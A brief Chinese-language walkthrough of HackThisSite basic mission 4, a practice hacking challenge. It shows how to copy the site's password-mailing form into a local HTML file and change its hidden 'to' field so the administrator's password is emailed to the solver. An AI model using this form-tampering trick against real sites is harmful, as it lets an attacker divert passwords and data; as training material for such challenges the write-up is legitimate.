细节决定成败!
在正式进入黑客闯关界面之前我们可以看到一个tips:
An email script has been set up, which sends the password to the administrator. Requirements: HTML knowledge, an email address
说明他写了一个把密码发送到他邮箱的脚本,需要掌握html知识和一个邮箱地址。
This time Sam hardcoded the password into the script. However, the password is long and complex, and Sam is often forgetful. So he wrote a script that would email his password to him automatically in case he forgot. Here is the script:
这个思路就很简单了,肯定是要篡改他的地址,把密码直接发送到我们的邮箱。
直接把发邮件的from拷贝下来,在本地新建一个html文件,修改如下:
<form action="https://www.hackthissite.org/missions/basic/4/level4.php" method="post">
<input type="hidden" name="to" value="你的邮箱地址">
<input type="submit" value="Send password to Sam">
</form>
然后就打开这个htm,按send password to Sam按钮,然后到自己的邮箱去收密码吧,哈哈。